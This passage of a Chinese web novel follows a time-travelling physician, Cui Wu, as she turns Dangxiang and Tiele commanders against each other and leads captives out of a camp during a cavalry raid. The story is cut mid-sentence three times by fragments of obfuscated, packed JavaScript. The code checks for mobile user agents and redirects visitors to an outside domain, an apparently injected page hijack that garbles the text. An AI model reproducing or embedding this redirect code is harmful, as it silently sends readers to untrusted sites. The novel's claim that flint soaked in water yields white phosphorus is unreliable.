李恭听了这话,基本确认了判断,这女子虽有些能耐阅历,终究被书本中的“忠义节烈”套住,好忽悠得很。 “耶律将军当真看重你吗?”他意有所指地爆出重料,“那他可曾告诉你,千里迢迢赶来互市,原是打算拿你们这些中原奴隶换些牛羊牲畜回去?” 崔芜:“……” 这个真不知道! 崔芜猜到耶律璟大老远跑这一趟绝对没好事,可是当真相摆在面前时,她还是被“人为刀俎”这个赤裸裸的事实撞中了心口。 哪怕她明知,耶律璟看重自己的医术,李恭话中有相当一部分水分,但至少,耶律璟想把俘虏营里的中原百姓卖了,这事不是假的。 崔芜几乎可以想象出,这些人沦为奴隶后会是什么下场:饥饿、苦寒、任人凌辱、无休止的苦役,最终在伤病与虚弱中绝望死去。 无人能幸免,也不会有例外。 幸而崔芜穿越多年,历炼出非一般的城府,愣是没让李恭瞧出她此刻的心理活动。顺着对方的话敷衍两句,她若无其事地回了营帐,见着丁钰,第一句话就是:“此地不能久留,必须想办法逃走。” 丁钰刚吸住的一口气硬生生憋了回去:“出什么事了?” 崔芜将李恭的话简单重复一遍,不出所料见到丁钰跳脚蹦高:“我还当姓耶律的给俘虏治病是良心发现,原来是怕猪太瘦卖不出好价钱,打着养肥了再宰的主意!没人性的王八羔子,也不怕遭报应!” 崔芜:“噗……” 她不是不血气上涌,但丁钰抢了她的话,甚至比她骂得还要淋漓尽致。崔芜憋在心里的气就像被针扎了,噗一下漏了个精光。 丁钰没好气:“都要被卖了,笑屁啊笑!”想了想,又道:“那姓李的话可靠吗?不会诳你吧?” “李恭告诉我这些,无非想我留下效力,即便有水分,也不会全然是假,”崔芜早就思量过,“至少,耶律璟想把俘虏卖了,这事肯定是真的。” 丁钰还有疑虑:“天底下名医这么多,那姓李的怎么就盯上你了?不会别有居心吧?” 这一点,崔芜不是没考虑过,但她左右权衡过,认为李恭说真话可能性更高。 毕竟,至少在正式建国前,党项人是真的缺乏医药知识,单看巫术治病风靡一时便可见一斑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489037|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想都知道,这样的卫生条件遇见高传染性、高致死率的疫病时,会出现什么后果,也难怪李恭吃一堑长一智。 既然后世党项的医药文献多译自汉地中医,那眼前的党项高层看重一个中原女医,又有什么不可以? “我脸都花了,除了一身医术,还有什么值得他觊觎?” 有那么一时片刻,崔芜脑中飞快闪过“萧二”这个名字,奈何时机地点没一个对的,只得强行抹去:“但不管他所言是真是假,这地方都不能再待!” 丁钰无条件听她的:“那就走!” 他们其实还有别的选择,比如接受李恭的橄榄枝,顺水推舟地留下。比如回到胡人营地,至少耶律璟看重崔芜的心思不是假的,她适当争取,保住身边人的可能性还是不小。 但无论崔芜还是丁钰,都没有考虑别的选项,而是直接敲定了最艰难的一条路——逃出去! 大方针既定了,接下来就是如何实施。 这么大的动作,不是崔芜和丁钰两个人能办到的。抽了个夜深人静的时点,她将此行跟来的俘虏召集一起,小声复述了李恭的话。 “蛰伏只是一时,既然生而为人,就不能自甘轻贱为奴为婢,”崔芜声量不高,语气却极决然,“我打算逃走,有谁愿意与我一起?” 丁钰自始至终站在她身后,用行动做出无言的支持。 其他人相互看着,没有立刻回答,但也不曾流露惊愕劝阻之词。 崔芜看在眼里,有了几分把握:“中原虽有战乱,却也天大地大。我等有手有脚、各怀所长,只要抱团取暖,何处不能容身?凭自己双手过活,岂不比受人欺辱强得多?” 几乎在崔芜话音落下之际,混血兄妹就自发走到她身边,甚至没有一丝犹豫。 “你救了我唯一的亲人,”延昭还是那句话,“我听你的。” 事实证明,没人是天生的奴才,有了带头效应,男人们接二连三地走上前—— “我也不想为奴!” “大丈夫活这一遭,不是为了被人当牛作马的!” “你说怎么做,咱们都听你的!” 他们看着崔芜,外貌上迥异的特征在一瞬间隐去,唯有眼睛格外相似,好像藏着两团火。 烧尽了所有的隐忍与随遇而安,逼迫出骨子里的血勇与不屈。 崔芜在这些人的眼睛里瞧见了自己。那火光不容分说地照彻心底,驱散了所有对前路的不安与迷茫。 她忽然前所未有地明白了“人心”的力量。 什么是人心? 那就是你在一个极端不利的环境中,做出了看似十分不明智的抉择,却有人依然愿意不离不弃地站在你身后,患难扶持,生死与共。 天时不如地利,地利不如人和。 老祖宗的话还是有道理的。 不过,纵然多了十来个生力军,崔芜也不敢贸然采取行动。同伴是帮手,亦是压力,她不能再如以往那般拿命来赌,唯恐辜负了他们的信任。 “党项驻地守卫森严,虽然病区要好些,却也有看守巡防,不能掉以轻心。” 崔芜拿着木棍,在地上画出营地分布图:“这是咱们居住的营地,每日天亮从这里进入病区,营地门口有士兵巡逻。我留意过,这些人每两个时辰一换防,这是唯一的机会。” “营地里除了我们,还有征调来的党项百姓,帮忙做些浣洗擦身的粗活。按我的要求,他们进出都戴着面罩,仓促之间,并不容易分清谁是谁。” “我需要有人借着党项百姓的身份混出营地,设法隐蔽,等到天黑后配合行动。” 崔芜尽量把话说得简洁明了:“党项军虽不比胡人精锐,却也不是吃素的,正面冲关没有任何胜算。我们只能设法制造混乱,浑水才能摸鱼。” 延昭和阿绰竖着耳朵听着,因为身量缘故,看起来最瘦小不扎眼的阿绰是本次行动当仁不让的关键。 “阿丁调查过,整个营地最容易引发混乱的有两处,其一是马厩,”崔芜一点西南角,“马厩堆满草料,一旦失火,党项人势必忙于救扑,这就容易露出空当。” 引火并不难,他们为了熬药,在营帐里支起简易灶台,手中也有火刀火石之类的物件。西北少雨,正值天干物燥时节,只需一点火星,就能将干草引燃。 延昭抬起蒲扇大的手掌,将阿绰跃跃欲试的脑袋摁下去:“还有一处是哪?” 崔芜指住东南角:“这里。” 是那对神秘母子被关押的所在。 17. 第十七章 悍将 丁钰实在是个能人,有很多时候,崔芜都想不通,一个理工男的躯壳里,怎么能孕育出一副社牛灵魂? 好比他们人在党项军营,其实和奴隶没什么区别,可姓丁的就是有法子跟所有人混成脸熟,旁敲侧击地打探出他想知道的信息。 “党项人嘴紧得很,这对母子具体什么来历,我还没打听清楚,只知道这两人大有来头,虽然也姓李,但却是汉人,好像还有什么王族血脉。” 丁钰撇了撇嘴,显然不把乱世打包批发的“王族血统”看在眼里:“总之,党项人留着他们,明显有大用途,保不齐什么时候就要当作王牌打出去。” 崔芜回想片刻,实在无法确定这对母子出身哪方势力,因为姓李的实在太多了。刨除盘踞河套的定难节度使不提,前朝国姓便是李姓,晋帝之前的伪朝亦是以李为姓。 不过这个并不重要,崔芜想不明白,干脆先撂下:“这对母子如此关键,若是营帐遇袭,党项人一定会加强防卫。到时,营地整体的兵力部署就会出现漏洞。” 她抬头看向众人:“知道该怎么做了?” 所有人用无声的点头作为回应。 崔芜给每个人安排了任务,自己也没闲着——要把可能出现的伤亡降到最低,就必须在行动前完善每一处细节。 为此,她专门求见了李恭,抬出的理由自然是假意答应对方的招揽。 “承蒙将军青眼,小女感激不尽,”崔芜低眉顺眼,“您说的我仔细想过了,胡地确非长久安身之所,只是将军所说的女医官之位……不知是否当真?” 李恭能将河西秦氏玩弄鼓掌之间,自忖洞悉人心算无遗策,拿捏个小女子还不手到擒来?闻言当即道:“李某从无虚言。” 崔芜做感激涕零状:“将军思贤若渴,之前在互市,原是我小人之心,还望将军恕罪。” 屈膝盈盈一福,又作吞吐状:“将军以诚相待,小女只恐不能回报万一。有件事若不让将军知晓,我总于心难安。” 李恭:“姑娘但说无妨。” 崔芜走近两步,却还是不放心,往左右看了看,暗示意味再明显不过。 李恭存心看她葫芦里卖的什么药,摆手示意左右退下:“现在能说了?” 崔芜这才道:“请将军恕罪……这些天,我身边同伴有人窥伺将军军营。但我等并无冒犯之意,实是受人胁迫,身不由己。” 这里是李恭的地盘,众人一举一动皆瞒不过他耳目。李恭并非不知丁钰这些天频频窥伺禁地,之所以不理会,只是想看这些人的目的为何。 听着话音不对,他来了兴趣:“是谁?他要你们做什么?” 崔芜话音压得极低,好似含在齿间:“是……耶律将军。他不知从哪听说您请来了‘贵客’,还是中原王族后裔,便想着、想着分一杯羹……” 李恭拢蹙眉心。 “其实、其实耶律将军一直对河套之地颇为垂涎,”崔芜大着胆子撩了他一眼,又飞快垂落视线,“小女记得将军说过,河套土地肥美、位置冲要,北接阴山,南邻关中,若能将其纳入囊中,则日后挥师南下,又多了一块跳板……” 李恭猛拍案几,厉声喝斥:“住口!” 崔芜哆嗦了下,仿佛受到莫大惊吓,直接跪倒在地。 李恭背手身后,居高临下地睨着她:“你好大的胆子!仗着有几分医术,竟敢信口扯谎,离间党项与铁勒之间的盟约,当真不要命了!” 崔芜连连磕头:“小女不敢!将军明鉴,小女久在闺阁,虽会些医术,却连汴梁城都未曾走出。若不是从旁人口中听来,哪里懂得这些!” 李恭收敛了本就五分真五分假的怒火,沉吟不语。 他并不完全相信崔芜的说辞,但崔芜有句话打动了他——一个闺阁女子,就算有些眼界、懂得些许医术,又怎么说得出上面那番话? 就好像,她曾在河套居住多年,对此间山水地势了如指掌一般。 不,不可能!李恭想,一个女子怎么可能有这样的眼光胸襟?一定是从旁人口中听来的。 原本一字不信,如今心思动摇,居然也信了三四分。 但他到底谨慎,当下不动声色,暗地里却派出斥候暗中观察胡人驻地。 这一查探不要紧,斥候传回的消息是,铁勒军营异动频频,看样子是在调兵遣将,指向何处着实不好说。 李恭本性多疑,闻言又多信了两三分。 但他不愿与胡人撕破脸,因此只是多调兵马守住军营北侧,又派斥候盯紧胡骑。 动作不算大,但对崔芜而言,已经足够了。 事实上,铁勒军营的异动也有她的手笔——是她借随行护送的铁勒士卒的口,告知耶律璟党项营地有“大人物”造访,瞧着像是从西北而来。 耶律璟似是对“西北”两个字忌惮颇深,仔细询问了铁勒士卒,得知党项营地确有一处营帐,守卫格外森严,轻易不许旁人靠近,心中当即生出疑虑。 两边都有疑心,凑在一起,便是坐实了对方居心不轨的“罪证”,也给了崔芜浑水摸鱼的机会。 党项人于军营北侧设下重防,其他区域不可避免被削弱兵力。趁着这一日换防,崔芜对延昭和阿绰兄妹使了个眼色,两人会意,换上党项百姓的衣服,仗着布巾蒙脸,没怎么费力就混出病区。 从这一刻起,崔芜的计划正式开始。 这兄妹二人并没着急行动,而是寻了个少有人来的僻静角落,耐心等到夜色降临。算着营中士卒再次迎来换岗时辰,才打晕两名落单士卒,换上他们的衣服,借着夜色掩护,若无其事地行走于营地中。 然后轻松摸到丁钰所说的“东南角”。 他俩运气不错,这一路都没被人察觉行踪——也可能是大批兵力被调去北侧布防,营中人手不足,难免故此失彼。 即便如此,关押“贵人”的营地也不是那么好闯,一道藩篱高高立起,拦住了心怀叵测的闯入者。篱后除了巡守士兵,甚至还有拒马。 阿绰头一回见这等阵仗,忍不住好奇张望。延昭则谨慎得多,摁住妹妹脑袋,将她往身后藏了藏。 这般严密的守卫,硬闯肯定不行。 好在,他们也不打算硬闯。 延昭运足气,从腰间布袋里摸出搓圆的土块,朝着守卫方向用力掷去。 土块落地后弹了几弹,滴溜溜滚到守卫脚边,毫无意外地引来一声大喝:“谁!” 延昭头皮发炸,片刻不敢耽搁,拉起阿绰掉头就跑。 守卫却已被惊动,当即分出一只十来人的小队追来。军营就这么大,前方隐约可见火光幢幢,巡守士卒显而易见地多起来。 再甩不脱追兵,他们只有被前后包圆的份。 延昭暗骂一声,将布囊里的土块都摸出来,看也不看,胡乱甩向身后。大部分土块都是哑炮,只有一个滚动两圈,突然毫无预兆地炸开。 细细的烟尘腾起在夜色中,追兵下意识顿住脚步。 很快他们发现,这个举动犯蠢了。 炸开的“土块”不止冒烟,还掺杂了某种十分销魂的刺激性气味,那是西域舶来的胡椒,混杂了木刺碎屑,裹挟在烟尘中,直往人耳鼻中钻。 滋味堪称酸爽。 胡椒是崔芜借着熬药名义正大光明要来的,木刺碎屑是就地取材,最难办的是“烟尘”——那是丁钰耗费了七八块燧石,泡在水里许久,好不容易提取出的一点白磷。 白磷燃点低,遇到氧气会产生火焰,同时释放出浓烈的烟雾,后世的烟雾弹大多是用这玩意儿制造。 但这是古代,没有精密的仪器与先进技术,一切靠土法手工,想都知道提炼出的白磷纯度有多感人,甚至连制作者的丁钰自己都不敢保证,这玩意儿能炸响。 七个里成了一个,属实是老天开眼,祖坟冒出滚滚青烟。 杂质再多的白磷,那也是白磷,燃烧时的威力不可估量。加上胡椒和木刺,堪比生化武器,当时便让身后追兵双眼通红、泪流满面。 机不可失,失不再来,延昭立刻高喊:“快来人!有人袭击营地!” 然后赶在援兵还没到来、追兵又睁不开眼的当口,拉着阿绰一溜烟跑了。 *** 兄妹俩闹出的混乱不小,但也只是混乱。 崔芜真正的目的,是声东击西——借着东南角的混乱吸引守兵,从而伺机潜入西南角马厩,在里面放一把火。 如果说,延昭兄妹的任务是闯龙潭虎穴,那这一边就无异于虎口拔牙了。 主动请缨的是丁钰,他自诩是崔芜的“娘家人”,出逃计划又是他和崔芜想出来的,最危险的工作当然不能甩给别人。 可惜,延昭兄妹把运气用光了,到他这儿连个零头也没剩。虽然相当一部分兵力被东南角的混乱引走,可即便是剩下的小半兵力,也足够丁钰喝一壶。 更别提,他手上的六颗“烟雾弹”全部哑火,无一成功。 结果毫无悬念,只能跟猎狗打兔子似的,被追兵撵得上蹿下跳。 不幸中的万幸是,布防兵力确实被崔芜一通骚操作引走大半,西南角鸡飞狗跳,硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493120|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没人过来探查。 饶是如此,丁钰依然逃得狼狈,在长得差不多的营盘间兜了几个圈,不知怎地拐上一条小道。 然后,就和拎着水桶的老妇人打了照面。 丁钰:“……” 坏菜,怎么撞这婆娘手里了! 丁钰可没忘记,当初崔芜上门看诊,这老婆子甩出一张死人脸,还险些将滚烫的药汤泼人家脸上。此刻见了她,丁钰简直怀疑是自己平时烧香拜佛不够积极,以至于老天非亡他不可。 老妇人见了丁钰也是一愣,紧接着,她听到追近的脚步声,好似明白了什么,惊疑不定地盯了丁钰一眼。 丁钰头皮发麻。 但预想中的大声示警并没发生,老妇人只皱了皱眉,就自顾自地转过拐角,正好撞见身后追兵。 此时,三方站位十分玄妙,追兵的视线被老妇人和她身后阴影挡住,瞧不见几步开外的丁钰。见有人过来,用党项语喝问了句什么。 丁钰猜测,追兵应该是问老妇人有没有发现闯入者行踪。 老妇人板着一张死人脸,半晌没说话。追兵却也没有逼进,呼哨一声,往另一个方向追去。 直到脚步声渐行渐远,丁钰还没完全回过神。良久,他抹了把被冷汗打湿的脸,从藏身处走出,只瞧见老妇人佝偻的背影,徐徐没入浓烈的夜色中。 丁钰怔怔半晌,对行将消失的身影鞠了一躬。 *** 虽然暂且逃过一劫,丁钰却并未觉得松口气,因为崔芜的计划基本失败了。 他无法潜入马厩,放不了火,他们就不能趁乱逃出党项营地。 明明前面一切都很顺利,明明只差这最后一步,明明…… 丁钰懊恼至极,就在他琢磨着,冒死硬闯有几分把握时,忽听夜色深处,大地发出“隆隆”的震颤。 丁钰蓦地一愣。 听到动静的不止他一个,巡逻的党项轻骑、病营中的百姓,甚至为了下一步行动紧锣密鼓准备的崔芜,都短暂放下手头事,不约而同地望向异响传来的方向。 很不巧,那正是西南方。 丁钰眼睛睁大了,缩紧的瞳孔中倒映出无数暗影,他们乘着夜色而来,迅捷得好似一阵风、一片潮,甲胄反射着稀薄星光,凝结着浓烈到化不开的杀意,呼啸着涌将过来。 玄甲,长刀,强弓,一人双马。 如果李恭在这儿,一定会惊惧又愤恨地叫出这支奇兵的名号。 ——安西军! 那是自前朝以来,扼守丝路要塞,将千里河西走廊牢牢掌握于汉家手中的镇边军。 那是让李恭鸠占鹊巢的阴谋破产,不得不像丧家犬一样仓皇逃回河套之地的强敌。 而现在,此时此地,他们仿佛草原传说中的神鬼,在冲出夜雾的一瞬,用刀光剑影粉碎了此间强梁的安枕大梦。 为首之人是个年轻悍将,骑术精湛甚至不需双手控缰。他解下肩头强弓,流星般的箭矢划破夜空,箭头居然冒着火苗。 丁钰目瞪口呆。 他眼睁睁看着自己费尽心思也摸不着边的马厩,被那少年悍将一箭点着。正是风干物燥时节,火舌几乎在一夕间窜起,热浪和烈焰好似张牙舞爪的怪物,吞噬着嘶鸣的战马和一切生灵。 守卫马厩的士卒却也不是吃素的,他们第一时间拿起武器,要和入侵者决一生死。 但少年悍将的武器是一把马槊。 这玩意儿工艺复杂,造价昂贵,素有“三年造一槊”的说法,普通人家轻易玩不起。 那又为何为人青睐,甚至在史书上留下一笔? 无他,威力巨大耳。 马槊锋刃长达半米甚至一米,远远超出普通的枪和矛。朔锋具有破甲棱,上好的槊和宝剑一样,有八个面,什么鱼鳞甲、锁子甲、明光铠,在马槊面前,都只有一击而穿的结局。 可想而知,当少年悍将挥舞马槊开路,挡在身前的便再不是敌人,而是猎物。 他收割人命恰如猛虎扑食,胯下骏马长嘶一声,轻轻巧巧跃过拒马,身后留下一条用尸首铺排出的血路。 “我乃河西颜适,让李恭滚出来!” 少年悍将横槊而立,头盔下的双眼映照火光,恰似箭簇尖头的两点寒芒。 他仰头看着乱成一片的党项军营,长声喝道:“八年前,你阻拦秦湛发兵驰援碎叶城,害我父惨死,安西军伤亡过半!” “六年前,你以副将之身叛主犯上,屠戮节度使府,令河西秦家险些灭门!” “累累血债,该偿还了!” 18. 第十八章 听令 丁钰不知李恭与河西秦氏间的恩怨,只是凭本能想远离那杀人如切瓜砍菜般的少年悍将。 但他离安西军太近了,刚转过身,就听尖锐的呼啸声自脑后袭来。 丁钰没有躲,他见过少年悍将杀人的利落,这样的距离,这样的速度,根本躲不过。 电光火石间,他高举双手,以示自己并无刀兵,同时高喊:“我不是党项人!” 风声在他脑后三分处顿住,冷铁寒意透肤而入,后颈奓开刺猬似的汗毛。 丁钰不敢停顿,飞快把话说完:“我、我是被党项人劫掠来的中原百姓,出身济阳丁氏!将军若不信,大可去查。” 身后静默半晌,丁钰瞧不见对方神色,无法判断他是否被自己说动了,心中忐忑至极。 须臾,只听风声倏响,那透着杀伐之气的冷铁长刃终于从后脑要害移开了。 丁钰长出一口气,颤巍巍转过身,只见那少年将军高居马背,面孔被头盔和阴影遮挡大半,只余一双眼睛冷锐异常。 他收回马槊,杀人如麻的戾气却如影随形:“既是中原百姓,在这儿做什么?” 丁钰咽了口唾沫,思忖该如何回答。 一秒钟后,他决定说实话。 “我们想逃走,”他说,“但党项人防卫森严,唯一的机会就是在马厩里放一把火,引发骚乱,等他们自乱阵脚,再伺机而动。” 少年将军定定看着丁钰,似在判断他所言虚实。 丁钰后颈狂冒冷汗,却知这时候不能露怯,咬牙顶住他的审视。 过了约莫两息光景,少年将军敛下杀意。 “你可知李恭人在何处?” 这便是信了丁钰的说辞。 丁钰忙不迭表忠心:“往北,靠西边是帅帐。” 想了想,又道:“不过那姓李的心眼忒多,也不是什么硬骨头,听见风声说不定会脚底抹油,将军千万小心。” 少年将军掉转马头,就要寻踪追去。 丁钰心念电转,忽然叫住他:“还有一事。” 少年将军猛勒马缰,座下神骏不满他出尔反尔,扬蹄长嘶一声。 他回眸看向丁钰:“何事?” 丁钰正色道:“据在下连日所见,党项人似与铁勒结为同盟,现有一股铁勒轻骑,兵力约莫三四千人,正驻扎党项营地北侧二十里。” 少年将军目光微凛。 他此行原为打党项人一个措手不及,故意自西向南兜了个圈,恰好避过铁勒人营地。 如若李恭狗急跳墙,率领残部向铁勒人求救,两方人马来一个左右夹击,那乐子可就大了。 少年将军知道厉害,面上却不动声色:“还有吗?” “铁勒轻骑不久前攻破晋都汴梁,裹挟大批俘虏北归,意图当作奴隶拉去互市交易,”丁钰说,“百姓无辜,若是将军遇见,还请设法相救,在下感激不尽。” 言罢,他后退两步,正衣冠、理袍袖,行了个郑重其事的大礼。 少年将军看丁钰的眼神原本含着三分不耐,听完这番话倒是改了态度。他上下打量丁钰,仿佛终于将这人真正看在眼里,微微颔首。 “知道了。” 他简短应了,极娴熟地拨转马头,玄甲轻骑紧随其后,如来时般一阵风似地卷去。 丁钰抱拳送别。 *** 横插一杠的安西军是计划之外,却让千难万难的出逃计划变得容易了许多。 杀神般的少年悍将似一把无坚不摧的长刀,轻而易举地击碎了营盘。混乱中,党项残兵只顾奔逃,谁也顾不上病区的中原人。 崔芜将匕首和部分常用药材放进木箱,垫了干净麻布防震,再用牛皮索穿了四角,背在身上权当简易药箱。 变故乍起时,她虽惊讶,幸好早有准备,第一时间带着同伴穿过重重乱兵,往营盘外逃去。 他们没敢走远,就在不远处里的林子里藏着,快到天明时才等来丁钰和延昭兄妹。一帮人相互看着,虽满脸灰土、形容狼狈,却奇迹般毫发无伤,竟是全须全尾地从党项人的包围圈中逃脱出来。 不知是谁带的头,人群爆发出畅快的大笑声,先是零星两三点,随后便一发不可收拾,乃至汇成一股滚滚声浪,震飞了栖息树梢的林鸟。 置身其中的崔芜有些无奈,心说:也不怕把追兵招来。 但她到底没阻止,心知这些汉子被压抑狠了,当牛作马了这些时日,好容易重得自由,自是要痛痛快快发泄一场。 想当初,她刚逃脱孙家父子掌控之际,不也情绪激动难以自已,穿越十年头一回落下泪水? 一念及次,崔芜难得心软,寻了处干净溪流蹲下身,将袖口打湿,对着水面拭净脸上黑灰。 丁钰也跟着凑过来,伸手往怀里掏了半天,居然掏出一小块肉干,全塞给崔芜:“接下来有什么打算?” 崔芜只掰了一半,不敢喝生水,就这么干嚼:“我想去南边看看。” 丁钰是理工男,高中地理只学了个半吊子,会考完便还给老师,闻言两眼一抹黑:“南边……是哪?” 崔芜无奈,低头画出西北一带的山川地貌,寻了树枝指指点点:“这是河套,北抵塞外高原,南接关中平原,西通河西走廊,东邻山西高原。沿清水河、泾水南下,便可长驱直入,直抵长安。昔年汉朝初建,匈奴便曾占据河套,侵犯狄道、上郡。” 不知不觉间,方才还大声谈笑的汉子们聚拢过来,脑袋围成一圈,脖子伸长足有二里地,一起研究地上的舆图。 崔芜兀自不觉:“我想顺水而下,去关中看看。此地南有秦岭,西有陇山,北有黄河天堑为屏障,自战国起就有‘四塞之国’的说法,更是‘田肥美,民殷富’的天府之国。” 丁钰有心问一句“天府之国不是四川吗”,扭头看看,又觉时机不对,只好咽了回去。 “虽说自前朝末年,战乱频发,关中虽有潼关为倚,到底称不上太平,但比起别处,总算是得天独厚,”崔芜说,“我想去看看,如果运气好,能寻到几亩无主荒地,就先安顿下来。” “不管以后什么打算,吃饭穿衣总是第一位的,你们说呢?” 她是女子,天生弱势,在一干精壮汉子中间,原本不具备话语权。但幸运的是,不久前的瘟疫横生,是她将所有人从死亡线上拖回,身陷敌营之际,也是她带着众人逃出虎穴。 而方才,她对舆图的了解、对局势的把握,更体现出超乎在场所有人的眼光与见识。 她用实际行动赢得了男人们的尊重与信服,他们相信她,愿意照她说的做。 “那就去关中,”延昭是所有人中最强壮的,过人的武力意味着不可动摇的权威,当他表示赞同时,人们最后一丝疑虑也被打消,“是你带着我们逃了出来,我只听你的。” “对,我们都听你的!” “你说去哪,咱们就去哪!” 崔芜逡巡众人,踌躇不决。 她相信这一刻他们追随她的决心,却也知道,一时的热血上头不能持久,尤其这些人是被外族裹挟背井离乡,若是日后诸事顺利且罢了,如若遭遇难关,他们是否会后悔今日抉择? 又是否会迁怒带领他们走上这条“不归路”的始作俑者? “我并不确定关中是否安全,”崔芜神色凝重,“南下是我的选择,不是你们的,我也无法保证,一定能让你们平安顺遂。” “你们中的许多人虽然失去家小,却还有亲朋故旧,或许尚在人世。有人投靠,总比跟着我漂泊流浪好得多。” 男人们相互看着,神色各异。 最先开口的还是延昭。 “我没有家,”他语气冷硬,将偎依身边的幼妹搂得更紧些,“我的母亲是汉人,父亲是铁勒人。我的母亲死在草原上,我从来没见过父亲。” “我带着阿绰逃出草原,找到母亲的族人,可他们不认我们。我母亲的父亲骂我们是孽种,母亲的弟弟用扫帚将我们赶了出去。” 他称呼自己外祖和舅舅的方式极为冷漠,脸上亦无表情波动:“我和阿绰无处可去,只能跟着你。就算死了,我也认了。” 阿绰紧紧攥着自己兄长的手,望向崔芜的眼神巴巴的,像只担心被人丢弃的小狗。 崔芜不置可否,又看向其他人。 “我们也无处可去,”片刻后,有人开口道,“我爹娘早在胡人破城时遭了难,我的妻儿也死在北上途中,只剩我一个孤魂野鬼,埋哪都一样。” “我娘去世得早,爹又另娶,继母生了一双儿女,将我赶出家门。我是吃百家饭长大的,早没了家,就算回老家也无处可去。” “我祖籍河东,家里遭遇战乱,只我和一个堂妹活着。我俩被族中长辈领着,寻到汴梁城中的亲戚家投奔。那家人待我们不坏,只是把我和堂妹当下仆使唤,衣服都是旧的,饭也吃不饱。后来铁勒破城,他们丢下我们先跑了,我堂妹也被铁勒人糟蹋,自己投井死了。” 男人们一个个述说自己身世,遭遇或有不同,命数大同小异,都是过不下去的苦命人。纵然回乡,也是茕茕孑立无处安身,倒不如跟着一同历过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504591|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生死、经过患难的同伴,至少能抱团取暖。 崔芜安静地听着,不曾打断,也没有流露居高临下的怜悯。 “即便如此,”她淡淡地说,“乱世之中,求存艰难,说不准什么时候就会遭遇要命的危机。” “我希望我的同伴能信任我、尊重我,将我当成可以依靠的手足兄弟……甚至是一支队伍的首领。我会尽量顾及你们的安全,保护你们的安危,但当我要求你们做到某件事时,我也希望你们可以不惜代价完成,哪怕付出的是你们的性命。” “如果不愿意听从一个女人的号令,或是不想在未来某一日牺牲自己,你们现在可以离开了。” 周遭陷入沉默。 有人面露深思,有人微现不平。显然,在他们有限的见识与阅历中,男主外、女主内是天经地义,女子就应该未嫁从父、出嫁从夫。如果有哪个女人站出来说,要号令一帮男人做事,就是离经叛道。 他们仿佛被侵入领地的狼群,本能感到警惕和排斥。 丁钰没有错过男人们的犹疑,第一个站在崔芜身后:“没问题,我听你的。” 延昭是第二个,他就像当初决定逃出党项军营时一样,牵着阿绰的手走到崔芜身边:“你救了我们,以后你说什么就是什么。” 北上途中的生死一线掠过眼前,乱世潜在的危机和前路的茫然险恶消解了父权的不可撼动。在追随强者和生存渴望的驱使下,男人们再一次决定向一个女人臣服。 “我听你的。” “你让咱们做什么,咱们就做什么!” “这条命是你救回来的,就算还给你,咱们也认了!” 男人们的神情从犹疑转为坚定,眼底的火光再次燃烧起来。被他们簇拥中间的崔芜亦感到血液沸腾,那一刻,自穿越以来没着没落的心底忽然变得坚实,仿佛有什么垫在底下,让原本卑弱的女子拥有了立足乱世的力量。 那股“力量”,名叫人心。 “既然诸位决定了,”崔芜说,“咱们就得好好商量一番再上路。毕竟,我们人数不少,以流民的身份入城太过张扬,还是要稍作掩饰。” 她思忖片刻:“不如扮成商队,途中打些野物,扒了皮毛,再制成腊肉,打着换粮的理由入城,便没这么显眼了。” “这主意不错,”丁钰第一个赞同,“还可以借行商的机会打探消息,若是哪里有不妥,就设法绕路避开。” 旁人不比他俩阅历丰富,听着这番安排合情合理,自没有不答应的道理。 *** 崔芜手头没有指引方向的工具,虽然早在战国时,先贤们就发明了“司南”,可真正用于航海的指南针要到北宋年间才问世。 幸而她也好,丁钰也罢,都学过基本的野外生存技能,比如利用北斗七星确定北极星方位,树木朝南的一面受到更多阳光照射,太阳在正午时分位于正南,这些简单的知识还是知道的。 于是开头两天,一切顺利,他们甚至仗着人数不少,又多是精悍男子,接连掏了两窝野猪。皮毛剥下,做成坎肩保暖,猪肉拣细嫩的烤了,剩下做成肉干,带着路上食用。 崔芜虽是女子,却分到半条猪腿。这野猪个头不大,显然还未长成,肉质细嫩又没多少膻味,烤得滋滋冒油,纵无调料也极为可人。 她唯恐连日赶路伤了还未康复的元气,虽无甚胃口,还是将半条猪腿尽数啃了。 事实证明,这个举动犯蠢了。 过去十余年间,崔芜是楚馆奇货可居的“招牌”,要保持身形的纤细娇柔,自然不能放开肚皮吃喝。 这就导致崔芜身量虽称不上矮小,脂肪含量却少得可怜,在这危机重重的乱世,就像蒲草一般难禁风雨。 这可不行! 崔芜有心将自己吃胖些,奈何她胃口不大,心急只会吃撑肚皮。这一晚就有些克化不动,撑得在林子里瞎溜达。丁钰不放心她一个人,主动跟着一起。 